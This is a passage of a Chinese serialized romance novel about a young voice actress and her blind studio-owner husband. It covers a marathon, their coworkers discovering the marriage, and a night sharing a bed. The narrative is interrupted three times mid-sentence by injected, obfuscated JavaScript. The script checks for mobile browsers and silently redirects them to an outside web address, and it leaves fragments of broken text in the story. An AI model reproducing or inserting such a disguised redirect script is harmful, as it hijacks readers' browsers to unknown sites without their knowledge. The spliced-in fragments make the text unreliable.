秦叠连忙把两人接过来,“待会儿聆镜有个临时会议,你们别打扰池老板。” 两个小朋友点头如捣蒜,然后三个人默默坐在沙发边,听餐桌那头池老板的优秀发音。 “唉,师姐,你真是捡到宝了。”周静昀叹了口气,“这每晚睡前说声晚安,我都能苏麻了过去。” 余庆啧了一声,眼神没离开池晚桑,“没出息,不过我想要池老板录制的早起闹钟。” 秦叠眼神也温柔地落到专注开会的池晚桑身上,庆幸这屋子就这么小,他只能在餐桌开会,“谁捡到宝还不一定呢,谁还不是个宝宝?” 两人一同“咦”了一声。 那边开完会,沈桉羽最后开麦说:“池老板,我家里出了点状况,这几天可能得请个假。我的工作都给林桐了,她到时候应该会分一些给秦叠,这些天要辛苦你们了,实在不好意思。” 池晚桑皱了皱眉,她语气听起来并不太好,“发生什么事了?需要我们吗?” 而沙发那边几个人聊得火热,声音越来越大,余庆就这么水灵灵地朝池晚桑用气声喊了句:“姐夫,今晚吃什么?需要我去买菜吗?” 会议另一头立即炸了,苏木本来开得昏昏欲睡,立马来了精神,“老池,你开花了?!” 33. episode33 “家里有其他人,先挂了。”池晚桑没多说话,直接退出会议,不然越描越黑。 苏木:“我靠,这绝对有情况,下回去老池家,杀他一个回马枪,这还跟我们玩什么金屋藏娇呢。” 林桐:“池老板不都说了是客人嘛,说不定是我们想多了。” “不可能。”陈藻难得开了麦,又道,“有猫腻。” “唉——”沈桉羽向后靠在沙发上,长舒一口气,“之前费尽心思给这万年铁树找对象,没想到自己谈上了。不过,总算谈上了。” 林桐听她的语气不如以往轻快,有些担心她,“没事吧,应付不过来,还有我们呢,记得找我们。” 沈桉羽闭着眼睛,有些疲惫地笑了笑,“没事的,都成年人了,还能玩什么绑架强取豪夺嘛。” “不行就找你苏哥,还有小陈,哥哥们为你上刀山下火海……是不可能的,不过可以酌情考量。” “知道啦,我退了,昨晚一晚没睡。”沈桉羽打了个哈欠,第二个退出会议,剩下三个人也没什么事干,有一句没一句地聊了聊配音工作,谈起即将开始的马拉松,又说要给秦叠加油鼓劲,乱七八糟耗到免费时长用完,会议解散。 这边余庆被秦叠打了一巴掌,有些悻悻地说:“池老板,我是不是打扰到你了。” 池晚桑没甚在意,走过来的路上,顺手从旁边的抽屉里取出一片黑色方形的东西,递给余庆,“没事,刚好开完了。这是王倩的签名照,上次碰见她顺便拿的,她说她的字还没练好,让你不要到处乱传。” 余庆和周静昀两个人呆若木鸡,在原地直接张嘴石化,怎么,怎么能用这么平静的语气说出如此惊天大消息。 要知道王倩可是最近新秀里,最炙手可热的一位,唱跳俱佳,能文能武,性格又洒脱,路人粉的基数也不小。 池晚桑能认识她,还得多亏了池向榆,那次莫名其妙的相亲,将两个处在低谷的人拉到一起。幸好谁也没放弃。 晚饭后,秦叠将两人送下楼,顺便围着小河跑了会儿步,夜静蝉愈噪,浪花拍打在两岸石壁,碎裂成水滴,红色步道上锻炼的人不少。 如果池晚桑还能看见,他应该很喜欢这种氛围吧。 为了跑半马的时候不至于当场晕厥,秦叠还是有空没空在河边跑一跑,目标是不要丢人即可。 汗如雨下,总算有股燃烧脂肪的快感,秦叠找了个空座休息,接到老瞎子的求助。这么一来二往,她倒成了这位叔的专属顾问,不过两人相处愉快,更像是朋友。秦叠自然地接起电弧,“喂,叔,又遇见什么事了吗?” “没什么没什么,”视频那头的黎宜夹起一片苦瓜,“被个傻子气了一顿,找你聊聊天,现在有空吗?怎么喘得这么急,你没事吧?” “我刚跑完步,正好有空。”河边路灯顺次亮起,暖黄的光像是多米诺骨牌,一下子延展到远方,将墨蓝色天空上几朵隐藏的云给照亮,灰扑扑的。 “诶,我今天也吃的炒苦瓜,不过没吃完,还是不太吃得惯。” “到我这岁数,苦瓜都是甜的了,”黎宜夹起一大筷子,“你没事过来陪老头子聊聊天呗,老了老了,被人嫌弃了。” 秦叠见时间不算晚,又跑了这么远的路,离养老院就几站公交,一口答应下来。 她到的时候,那盘苦瓜已经被消灭殆尽,黎宜擦了擦嘴,“坐。” 他“看”到秦叠就高兴,哎呀了一声,说要是有她这么个女儿该有多好,心地善良,乐于助人,做梦都要笑醒了。 这是她们头一回线下见面,或者说秦叠见他。手机没开美颜,和视频里相差不太多,黎宜打扮得时髦,一头棕色卷发,露出两只耳朵,像个动漫里的人物,洒脱不羁的艺术家。 不过那双眼睛和池晚桑一样,像是蒙了层尘土。 “那我有空了常来看你。”黎宜吃完饭让秦叠不要动,自己会收拾,有了池晚桑的前车之鉴,秦叠便就坐在原位有一茬没一茬地和他聊天。 窗户外面是个湖泊,风景不错,绿柳成荫,傍晚有三三两两的人漫步其中,黑夜下他们的剪影相互依偎,温暖而治愈。 秦叠并不可惜黎宜看不见,因为她相信他们能感受到爱意。 墙边有架钢琴,上面还有翻旧了的琴谱,秦叠有些意外,“您还会弹琴呢?” 黎宜有些不服气,坐过去就要展示才艺,“嘿,小看盲人呢,贝多芬可是聋子,照样享誉世界。” 说着舒缓的音乐在琴键下偷偷溜出,在空中打了一个转,悠扬地飘到远方。 一个问题忽然在秦叠脑子里响起:黎宜失明了还能弹琴,那池晚桑呢? “诶,小姑娘,有对象没有?感情上的事,不要轻率,小心被人骗了啊。”黎宜手里的动作没停下,音符缓缓在指尖跳动,自然的,像是春日的盛宴。 秦叠有些羞赧地笑了笑,“有了,不过,应该不是坏人。” “唉可惜了,”他弹下两个重音,“我认识一个家伙还不错,不过也是个瞎子,你应该看不上。他脾气有时候还不太好,说他几句就顶嘴,这几年越来越翻天了。” 秦叠不知道黎宜到底是想给自己介绍对象还是仇家,耸了耸肩,“可能是心情不太好吧,老是憋在心里,在亲近的人身边就会漏出来。” 黎宜想起来刚才他让池晚桑把自家老婆带过来瞅瞅,不知怎么的,这家伙就着火了,他啧了一声,“不管他,爱咋咋。” 回去的时候池晚桑已经睡了,客厅里给她留了灯,空调也开得十足,秦叠拢了拢领口,拿过遥控器关掉空调。 浪费电。 洗完澡躺床上,她对池晚桑今天莫名其妙的举动总觉得有些怪,又不知道该问谁,myeyes里和她交流最多的就是两个瞎子,一老一小。 黎叔不能问,那个小瞎子虽然像是一只高傲的母孔雀,还住自己隔壁,但不问白不问。 她婉转地用留言方式,给池晚桑留下一句话: 能问一下,如果旁边的人穿太少,你们能发现吗? 秦叠思索再三,觉得不会暴露自己的身份,按下回车键,倒头就睡。 而墙壁另一头,漆黑一片里,手机微弱的光忽然点亮,池晚桑带上耳机。 然后。 楞在床上。 能。 打那天后,秦叠没再穿那件吊带裙,平日里又忙着训练马拉松,光阴一不留神就溜走了大半。 比赛这天,工作室放假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702093|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所有人都跟在秦叠后面端茶倒水,还有拿着毛巾随时准备擦汗的,池晚桑只淡淡说了句: “跑不动,不要硬撑,脸皮没那么重要。” “往年池老板都懒得过来,今年亲自给你加油,聆镜一定行!”林桐将号码牌挂在秦叠背上,秦叠忽然被这么多人关心,竟一时有些紧张。 不过,她是从哪儿听出来,池晚桑在自己加油的? 比赛现场人山人海,秦叠个子不高,属于丢进人海立马找不到的类型,在一群赤臂里,她走得艰难。鼻尖是难闻的汗腥,一不小心碰到的胳膊立马被黏住,吧唧一声,还有汗水挤压的声响。 她虽说不是洁癖,但这场景,也够她做噩梦的了。 苏木不知从哪儿搞来一个大横幅,巴巴地摇,上面雪白光亮几个大字“白日依山尽,秦叠一定赢。黄河入海流,秦叠不会输。” 这押韵…… 果真是强。 秦叠有些羞耻地撇过头去,当做不认识他。 高中的时候,他们也跑过一次长跑比赛,那天她有些拉肚子,跑到半路只觉得头晕眼花,岔路纵横,眼看就要倒下,旁边池晚桑对着她忽然喊道:“跑不动就停下,别逞强!” 她嗯了一声,没有放弃,旁边那个身影却一直都在。中途有裁判将池晚桑叉出去,不允许陪跑,过不了多久,又能在下一个分叉路口遇见他。像是童话里的引路精灵,告诉她下一步往哪儿走。 她不想放弃,只是想证明自己可以。 那次刚跑完,只觉得鼻孔里一阵热流,脚尖打下鲜红两点。池晚桑二话不说拉着她就往校医院走,那是在秦东柏离开后,她久违地感受到了哥哥的存在。 是池晚桑外婆叮嘱的也好,是他自己主动的也好,那晚月光切切实实照在了秦叠身上,虽然她知道这不是她的月亮。 这次也很顺利,没有突发情况,加上之前不间断的练习,达到了没丢脸的目标。秦叠穿着粗气在人群里找聆镜的后援团,第一个就看见了池晚桑。 他站在人群后面的一个小山包上,身后是一颗古香樟树,枝干虬结有力,树冠罩下一大片阴凉,静静地矗立在不远处。微风拂过,不张扬,也不沉默。 秦叠笑着朝他走过去,“没给聆镜丢脸。” “喝水。”池晚桑递来手里的矿泉水,不冷不热。 “大家呢?”秦叠往四周瞅了瞅,没看见那块鲜红的,像是用她的血染出来的横幅,心下又松了口气。 “走了,我留下来等你。”池晚桑说,“苏木说我站这里,你一定能看见。” 秦叠笑了笑,猛灌一口水,“说的倒也不错,不过为什么突然走了?” 池晚桑觉得并没有瞒着秦叠的必要,说:“沈桉羽爸妈不想她在聆镜上班,之前把她关起来了。” 他顿了顿,“刚才又找到这里来,她跑了。” “那我们也去帮忙找吧。”秦叠听完忙盖上瓶盖,有些紧急道,“不过我得先回去换个衣服,这身都湿透了。” 见池晚桑没动,她问:“走吧?” “嗯。”池晚桑犹豫了下,缓缓开口,“秦叠。” “嗯?” “他们待会儿去我家碰面,怎么办?” 34. episode34 那是沈桉羽第一次看见妈妈哭,发疯着就要跪下来求她,让她放弃聆镜的工作。 她现在的父亲不是她的亲生父亲,但是现在的父亲和她妈妈生下了一个儿子。她们家算是很富裕,父母俩都是创业成功的人,不过后来两人结婚的时候,妈妈放弃了手头的产业,合并在后爸名下,成了个家庭主妇。 沈桉羽隐约知道妈妈为什么会放弃,但是不理解。她父母离婚的很大一部分原因便是母亲太强势了,事业心很重,完全不着家,父亲受不了才离开了她们。 老照片里,两人留下了很多回忆,甜蜜而浪漫,她想也许是妈妈害怕再次失去,才放弃了公司。虽然妈妈不是一个软弱的人,但见惯了人情冷暖,唯一的愿望就是老了能有个伴。 她成功找到了现任的丈夫,也生下一个孩子,可心里却像是无底洞,怎么也填不满。 这种空虚和无助从沈桉羽违背家里安排的工作经历,选择聆镜的时候越来越明显。 她一整天在家里相夫教子,说难听点就是混沌度日,毫无理想追求,偶然翻出以前的照片,恍惚间,照片里那个眼睛里有光的女孩,她发现她找不到了。 所以,她希望沈桉羽能有自己的事业和基础。 但只有儿子和丈夫是有血亲关系的,沈桉羽和这个家唯一的连接点就是她,如果她也放弃沈桉羽,所有的一切沈桉羽只能从头打拼。 她知道那太难了,她想留给她一点东西。 即使没有公司的股份或者是经营主管权,能够在这里立足,再凭借她的身份对决策发挥一些作用,这也足够了。 商业活动本就逐利,只要沈桉羽在公司里打拼几年,人际关系网的拓展不成问题。而现任丈夫对沈桉羽没有太多耐心,她所以求她,不要再走自己走过的老路。 但沈桉羽不这么认为。 弟弟出生的时候,她正处高二,正常的感知能力就能捕捉到这位后爸对自己的感情变化。当然她从未想过依靠这位的权势又或是财力,但这种提防和观察让她很不爽。 于是她读完研究生后,选择走自己的路。 不被谁定义的路。 在她眼里,妈妈对自己的希望已经病态化,将通往未来自以为正确的路指给她,换上代步工具,似乎就能直达目标。 但这样会错过很多值得的经历,或许并不快乐,甚至撕心裂肺,但她想经历的故事。 假意妥协后,她从家里跑出来,身上的枷锁却没有随着逃避和躲藏而减轻重量,甚至,更抑制着呼吸。 林桐找到她的时候,她蜷缩在公园里的一颗榆树下,尽力将自己的体积缩小,脑袋深深埋在两个膝盖间。 她想变成一颗草,无忧无虑地融入这片绿意,凉风吹拂,摇摇摆摆,却稳稳扎根,风吹又生。 “回去吧。”林桐也抱膝坐在她旁边,望着不远处波光粼粼的河水,还有两三只木质游船,里头游人满坐,探头探脑看向岸边的草木。 “我该怎么办?”沈桉羽头也没抬,但听出了林桐的声音,闷闷地说。 林桐翘着嘴,轻快地嗯了一声,语调上扬,又故作为难地说:“我和剑修的制片人谈过了,女主的角色给你,你说该怎么办?” “你说什么?”沈桉羽猛地抬头,颊上还有两溜泪痕,肤色胜雪,更显楚楚可怜,听林桐的话后眉心一蹙,泪水又要盈出来,“林桐你干什么?” 林桐的嗓音条件比她好,这是毋庸置疑的,有的人拼命地跑,也追不上别人生下来的起点。不公平,但也公平。 所以林桐的工作不论是本子数量、质量,还是角色的丰满程度,一般只会比沈桉羽好。将这个机会让给沈桉羽,她费了很大的口舌。剑修是今年热门IP,动漫制作已是下了大功夫,配音上只要没有明显脱离,蹭此热度火上一把不是没可能。 这也多靠了工作室这阵子的奋发图强,对林桐来说同样是可遇不可求的机会,她叹了口气,“不要放弃。这个机会给你,打响名头了,走后门给我多留几个配角,一样能赚的盆满钵满。” “可是……” “哎呀,你再说,我就要趁此勒索一点欠款了。不是想证明自己吗?机会给你了,别给聆镜丢脸啊。” 路过的小孩不小心将一个皮球滚到她们脚下,那家长看见沈桉羽脸上哭花的妆,哎哟了一声,不好意思地上来捡球,林桐笑着起身给他们递了过去。 回来时,手心多了两颗大白兔奶糖。 秦叠和池晚桑刚到家,她这边还在换衣服的时候,门口咚咚咚毫不客气地响起敲门声,然后条件反射,她躲进了衣柜里。 “找到了吗?”池晚桑过去开门,没注意到秦叠房间里一片死寂。 苏木哎哟一声,先是突袭进门,左右打量没发现异样,转身朝陈藻招手,鬼子进村一样摇了摇头,“林桐找到了,她们等会儿过来。” 说罢苏木直直把自己摔在沙发上,弹了两下,伸长手脚,“好久没来这里了,还是这么熟悉……”他忽然停下来,嗅了嗅,对着岫白问,“岫白,什么味道,这么香,你放屁是香的?” “女人。” 陈藻冷冷说了句,把门带上,也跟着坐下。 “要喝什么自己去倒,我在客房里晒了被子,去收拾一下。”池晚桑并没理睬两人,也不用招呼他们,走到秦叠门口,犹豫了下要不要敲门,按下门把手的时候只得故意放慢动作。 “要帮忙吗?”苏木仰头,把头掉在沙发背上,头发水草一样倒竖着看他。 “不用。” “好嘞。”他本也没起身的想法,回答得干脆。 关上门,池晚桑才发现房间里的古怪气氛,他轻声喊了句:“秦叠?” “衣柜里。”秦叠也用气声回应。 池晚桑哭笑不得,“怎么躲衣柜里,这么见不得人吗?” 秦叠揉了揉后脑勺,她已经很久没这么做过了,没想到第一反应还是躲起来。 当时秦东柏刚失踪,一群一群的记者鱼贯进家里,爸妈为了显得可怜,不让记者发现家里还有一个孩子,叮嘱她千万在衣柜里藏好。那阵子,只要有人敲门,秦叠第一个反应就是带着自己的书包和存在的痕迹躲进柜子里。 像是在这世界上消失得无影无踪。 池晚桑过去拉开衣柜门,不经意手背滑过秦叠的脸颊,冰凉如玉。秦叠干笑了笑,“不知道怎么的,下意识就躲了起来。” 她搓了搓刚才被池晚桑碰到的脸,“他们待不了多久吧?我要不还是别出去了,没想好怎么和大家说。” “好。”池晚桑没关衣柜门,也不强迫她,“别关太严了,里面黑。口渴吗?我给你带杯水进来。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715250|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯。”秦叠点点头,只望着他。 此时门外,扒着两只雄性壁虎,上面那只略显秀气,对下面那只黑皮壁虎蛐蛐:“池晚桑有鬼,里面不简单。” “池老板藏了个人在里面。”陈藻冷冷道,下一步就差推一推虚无的全包镜框,右手食指直指屏幕。 真相只有一个! 苏木大惊,退回一步,“我靠,你这么直白?那我们怎么办?” 陈藻白了他一眼,“你难道没想到这点?” 装什么装。 “继续等林桐姐她们呗,待会大家都要来。不过,秦叠怎么没看到?” “我靠了!”两人忽然对视,像是想明白了其中关节,眼睛瞪得像铜铃。 此时门响动,里间收拾被套的人空着手出来,说是渴了。 “渴,渴了?”苏木一时有些结巴,“那你拿进去,一边折被子,一边喝吧。折被子很累,是容易口渴。我折被子经常口渴,正常。” 他用胳膊肘撞了撞陈藻,陈藻也有些措手不及,忙点头,“嗯,被子容易渴。” 池晚桑相比起两人,倒是自然太多,听这风马牛不相及的话,笑了笑,“遥控器在桌上,买了视频、会员……你们看吧……” 这句话说出口他就后悔了,一个盲人,买什么视频会员啊? “好好好,找个电影来看。”陈藻替他感到尴尬,憋着笑应下,弯腰去拿遥控器。 房间隔音很好,秦叠坐在衣柜里听不见外面一点声响,她似乎怀疑人都走了,是池晚桑在戏弄她。 衣柜里的木香更浓,空气也更凉,眼前挂着几件衣服隐约看得清轮廓,除此之外,和她半盲那天没什么区别。周围黑洞洞的。 一个人什么都不干,傻傻地待着,就容易胡思乱想。秦叠耳边忽然响起妈妈的哭喊,在她十五六岁的时候,听过无数次的崩溃。 老房子不隔音,那时候爸妈在客厅的采访,她听得一清二楚。 “我就这么一个孩子,谁看见了麻烦把他还给我们吧。为人父母,我这心里,刀割了一样难受啊。” “孩子丢的前一天,是谁骂他的?不是你骂他,能一声不吭地走了吗?” “东柏啊,妈妈想你了,看见新闻,就快回来吧……” 还有在没听众的时候,门外传来浓重的鼻音和若有似无的抽泣。 小秦叠就缩在柜子里,仿佛不存在,仿佛不重要。 她看不见,但听得见。“一个孩子”、“为人父母”,句句扎在她心上,十五六岁的姑娘,又能懂什么呢? 黑暗将小女孩吞没,她缩在柜子一角,想着会不会就这样,像卖火柴的小女孩,冻死在里面…… 可她没有火柴。 池晚桑进门的时候把她吓了一跳,灵魂像是忽然强制从几年前扯回现在,扯得她脑袋疼。她一时心跳得很快,似乎要从眉心蹦出来,脑子里嗡嗡作响。 短短几分钟,却做了一场酣畅淋漓的噩梦,亲身经历过的,压抑的梦。 秦叠一手扶着柜壁,掌心有汗,滑了一下。她 打开衣柜门,接过杯子,她声说了句谢谢,像只听话的小猫,努力平复心情,一点一点呷水喝。 池晚桑就在旁边站着,一言不发。秦叠看了他一眼,忽然说:“池晚桑,我不想藏了,我们一起出去吧。” 35. episode35 现在客厅里上演的是一年一度演技大赏。 首先映入眼帘的一男一女是故事的主角,两人倒是没什么遮掩的,简单大方陈述了认识以来的所有事实,无严刑逼供,但所说的每一个字都已成为呈堂证供。 对面四人两男两女,形色各异。 白皮小秀才和黑皮体育生面容复杂,又略显夸张,用智商为负的傻逼动作,生动形象展示了史前猿人看见火是什么样欣喜若狂的状态。 而两个女生显然没这么快从一个情绪低谷到,另一个情绪迷谷?听完秦叠巨细无遗的“招供”后,楞了好一会儿没出声。 “赢了吗?”苏木问。 秦叠满脑子问号,“啊?” “比赛。” “哦,”秦叠不知道为啥长舒一口气,摇了摇头,“怎么可能。” 沈桉羽抽了抽嘴角,“所以,你进聆镜不久后,你们就结婚了?” 这@#$%^&玩儿呢! 池晚桑抿了抿嘴,“嗯,有些原因,但是其中细节就不多说了,现在都知道了吧。” 场面一阵死寂,要是有时光倒流的功能,秦叠刚才会选择闭嘴。 “太好了!”沈桉羽揽住林桐的肩膀,晃了晃。 苏木点点头,“我就说我就说有问题吧。” “妈呀,你俩也太不厚道,瞒了我们这么久,我要哭了……” “难怪每次一起上下班,还问‘今天下午吃什么’,这么隐私的问题。” 秦叠很想补一句:这哪儿隐私了? 给足大伙消化的时间,这群人一点火星子就能沸腾,现在越扯越远,又是早生贵子,又是百年好合。 不是解释了有名无实吗…… 到底是他们耳朵出问题了,还是秦叠脑子出毛病了。 沈桉羽的情绪也恢复斗志,揽下林桐的活,这次万事俱备,不成功便成仁。于是大家就这么顺滑地提议第二天去野营。 又不上班? 秦叠都快担心聆镜在这群佛系玩家带领下,迟早会破产。 “上次来池老板这儿,楼下自行车乱成一堆,我可花了大力气收拾好,今天楼下可是焕然一新,秦叠干的?”苏木一边拆开桌上的薯片,一边问。 秦叠摇头,“可能是换物业了吧。”这楼下的非机动车停放一直很混乱,也不知道苏木哪只眼睛看出来焕然一新的。 说完手机震动,微博来了一条私信,秦叠跳起来,不可思议地环顾一圈大家。 苏木皱了皱眉,喷出两片薯片碎片:“有屁就放。” “啧。”沈桉羽瞪了他一眼,“对女孩子说话干净点。” “林导,最近那个热门的网游,找池老板配音!”她说得语无伦次,抑制住激动有些颤抖。 苏木笑着调侃:“领导?哪个领导?区领导县领导?乡领导?还是咱街道的妇女领导?” 聆镜所在的街道上有一位退休的大妈,据说之前是干新闻报道工作的,退休后参加乱七八糟的兼职,又管街道卫生,又管文明礼仪,见着人就逮,逮住就训,训完还连带拱手指天,像个古代下基层的大臣。 说什么领导这都是为大家好,和大臣说圣上英明,没什么区别。 “哎呀,就是八荒寻仙那个游戏!” 这名字一出,整个工作室又进入了另一层沸腾,一人得道鸡犬升天,秦叠想莫过如此吧。只要房顶没被掀翻,他们还能再嗨一百年。 聆镜之前没在游戏领域涉足过,小家碧玉的工作室一直紧守本分,不敢越雷池半步。当然也是因为没机会,如果趁此机会走出舒适圈,从商业机遇上来讲,之后的天空只会更加辽阔。 不过池晚桑并没有表现出太激动的样子,如台风中心般波澜不惊,这阵热潮便也很快平息下去。 池晚桑说:“我怕,胜任不了。” “嗐!”众人松了口气,在场所有人都比他对自己更有信心,苏木拍拍池晚桑肩膀,“游戏嘛,词呢,会碎一点,不过我相信这对你来说不成问题,不要说技巧上还需要磨炼,我可是会翻脸的哦。” “没那么复杂,我之前玩过一个养成类的,当然没有八荒规格高,不过我猜差不多都是这样。”秦叠清了清嗓子,“大致就是这样的,开始游戏后选择一个人物作为玩家。” 她捏着嗓子做出小萝莉音,抚胸感怀道:“十五岁父亲把我送进这宫中,不知何年何月才能再见到母亲他们。” “然后系统出现一个选择,去御花园玩,还是在屋里看书。”秦叠跳出来讲解,又咳嗽两声,换了个男人的嗓子,“你是哪个妃嫔,之前怎么没见过,竟还在看四书,果然不俗。” 秦叠又跳出剧情,“这时候要选择从善如流地回答,还是小心谨慎地告辞。这每一次选择呢对应不同的道路,通往角色不同的结局,你就得把所有的可能性都给配了,不过我猜八荒多是打打杀杀,真正的对话不会很多。” 秦叠就这样自我对戏,硬是把角色从嫔抬到妃,才口干舌燥地叫了暂停,在聆镜久了,这样的临场演戏每个人都不意外。 池晚桑脸上带着笑,静静地听眼前的女孩给自己讲解故事的走向,一人分饰两角,宫廷里步步惊心的剧情就慢慢地在他眼前铺展开。 池晚桑笑了笑:“听起来还不错。” 秦叠擦了擦额角的汗,看到池老板紧皱的眉头总算舒展,她心里也被熨平了一般,像无风的湖面,阳光包裹住,暖暖的。 她也朝着池晚桑笑。 “啧啧啧,这小秦同学都开始向上管理池老板了,年轻人整顿职场就是速度啊。” 打打闹闹,好像烦恼也没那么重要,时间没有冲淡情绪,却也并不像刚拿到手的烫手山芋,让人不知所措。 一群志同道合的人的陪伴,让人觉得,之前望而生畏的那座高山,好像也没那么难以逾越。 心之所向,穷山距海。 今晚大家让池晚桑大功臣休息,不是因为他是老板,因为他靠自身实力给聆镜揽了个大活,于是另外的人一人做一份菜。 但秦叠手艺着实堪忧,为了明天还有魂能够出去野餐,她被分配到了下楼买菜的任务,林桐要鸡翅,沈桉羽要黔鱼,陈藻要橘子皮,苏木要外卖……他说太饿了,先买了一份炸鸡,开胃。 秦叠出去的时候看见一小姑娘哭闹着要坐摇摇车,她妈妈无可奈何下换了三次游戏币,提着菜站在旁边看她玩。 秦叠也站在旁边看着,摇摇车音乐很大,劣质音响,童谣旋律简单,大到能将车上孩子的梦给包裹。车身颜色艳丽,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722146|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成年人不会多分一眼的亮红,菜花的黄,还有天空的蓝,就这样将世界的嘈杂和不堪隔绝在外。 摇啊摇,摇到外婆桥。 “我的外卖呢?” 回去的时候,秦叠才发现外卖忘拿了,连忙道歉跑到楼下,身后沈桉羽和林桐没好气地骂了声苏木,可秦叠已经没影了。 饭后大家吵吵闹闹地凑了一桌麻将,如果不是苏木翻出来,秦叠是不会想象池晚桑这里竟然还有这种玩意儿。她本来想上场,但是个新手,池晚桑又说这群人打起钱来丧心病狂,六亲不认,想捂紧腰包最好退居二线。 于是在秦叠的见证下,牌桌上唾沫横飞,各种玩赖,各种正义之手拿捏,牌品见人品啊。 “池晚桑你困了就先去睡吧,我们就和之前一样安排。两女生睡客房,两男生在沙发上凑合,不用管我们。” 苏木战况有点惨,被沈桉羽七个回合接连拿下,杠上开花,惨不忍睹,没忍住叼了根烟在嘴里,没点燃。 秦叠在一旁:哈喽?有人看得见这里还有一个人吗? 池晚桑嗯了声便起身回房,留下秦叠一个人在牌桌上凌乱,不过他刚进屋子,就叫了声秦叠,秦叠连忙跑过去。 苏木在后面啧了一声,“这黏糊劲。”眼睛没离开牌面半毫。 池晚桑关上门,噪音瞬间消失,房间里就他们两人,“屋子大,我睡地上,你睡床吧,家里小,实在没地儿了。” 秦叠摆摆手,卫衣是慵懒款,袖子长到将两手完全遮住,有点像超市门口充气发狂的红柱子人,“不用不用,我睡地上就行。” 池晚桑无奈地笑笑,房间里光线开得暗,屋外霓虹灯光映进屋内,他矗立在阴影里,周身却笼罩了一层温暖的光晕,像冬日壁画下的暖炉,氤氲层层光华。 “我不可能让你一个女孩子睡地上的,别犟了。” 秦叠也不可能让一个,盲人,睡地上。虽说她并没有把池晚桑特殊对待,但客观条件摆在那里,如果真的这么干,她总觉得良心不安。 “那都睡床吧。” 话就这么不过脑子说出来了。 气氛瞬间凝固。 秦叠的意思很简单,既然都不可能让步,那就将就一晚上,就像睡个大通铺,大家都穿着衣服,没什么可遐想的。两人相处了这么久,对彼此脾气秉性都了解,更不可能干出什么出格的事。 但这句话,在这种场合说出来,就是。 怪怪的。 “我的意思就是,相当于幼儿园大通铺嘛,也没什么的,我完全OK,池老板你看呢?”秦叠又描了一句,不知道有没有描黑。 池晚桑楞了瞬,听到“幼儿园”瞬时嘴角止不住上扬,温声道:“你没问题,我也可以,我再出去拿一床被子。” “嗯嗯好。”秦叠也回客房将自己的东西收拾了下,打扮出酒店标间的模样,不知道为什么,有点不愿意让他们发现自己在这里睡。 她知道池晚桑睡眠浅,从衣柜里拿出自己的耳罩,又拿上枕头,睡前小说,杯子,发夹,睡衣,护肤品…… 两个人各自不知道在忙活些什么,就这样在屋子里窜来窜去,留下四个人在牌桌上不动如钟,苏木偶尔骂出一句脏话,然后被其余人围攻罚钱。 …… 36. episode36 秦叠是在池晚桑怀里醒来的。池晚桑还没醒,匀称的呼吸轻缓有节奏地扑在她额头上,还有软唇若有似无的触碰。 她僵住,眨了眨眼睛,动弹不得,因为—— 池晚桑另一只手搭在她腰上,以一个极度亲密的姿势抱住她,她一动,尴尬就开始狂奔。 眼前只能看见他的锁骨,头微仰,脖子上筋骨线条拉长,中间喉结微微颤动,她一时竟有种想咬一口的感觉。 罪过罪过,秦叠闭上眼睛。 昨晚两人分明各自盖着一床被子,躺下去的时候,秦叠粗线条,也不觉尴尬,倒是后来收到余庆的语音通话,让她有点无地自容。 “师姐,我失眠了。” 才十点,这么早,失眠个鬼啊。 “我可太喜欢姐夫的声音了,姐夫有没有什么睡前故事的录音,我听了一定会光速入睡。” 秦叠另一只手将手机听筒捂住,翻了个身,背对着池晚桑,小声道:“你小子,不要得寸进尺啊。” “我不嘛,师姐——” 这小子,竟然在撒娇!为了一个外人,门风败坏,家道中落,有辱斯文,家风不正,苍天有眼啊收了他吧。 此时秦叠明显感受到身下床垫微微颤抖,像是…… 在憋笑。 而且憋得很难受,导致身体不自觉抖动那种。 她将手机话筒又捂得死死的,皱了皱眉转头看向池晚桑,“池老板?没事吧?” 池晚桑裂开嘴,笑着说:“我给他讲故事。” 秦叠此时感觉脸上的黑线已经下拉到地上,然后贯穿地心,将余庆叉出地球去。 然后,她就记得池晚桑讲了个公主的故事,或者是王子寻宝的故事,难道是和尚打水的故事?反正都不重要,她蹭着余庆失恋加失眠的福利,第一次在别人睡前故事里,哄着,睡着的。 * 池晚桑早醒了,发现自己一只手紧紧贴在秦叠腰上,顿时火烧一般发烫,可他另一只手又被秦叠枕在头下,一动不敢动。 接着,他感觉到脖子上的呼吸变急了些,偶尔还憋住一大口气,又小心翼翼地吐出,弄得他痒痒的。 但他一动,势必会将秦叠弄醒,但目前自己这姿势实在不好解释。 他戴着秦叠昨晚给他的耳罩,不压耳朵,很舒服,不过现在也将外界的大部分声音隔绝,让所有感官都集中在胸前的湿热上。 池晚桑也不动声色地调整调整呼吸。 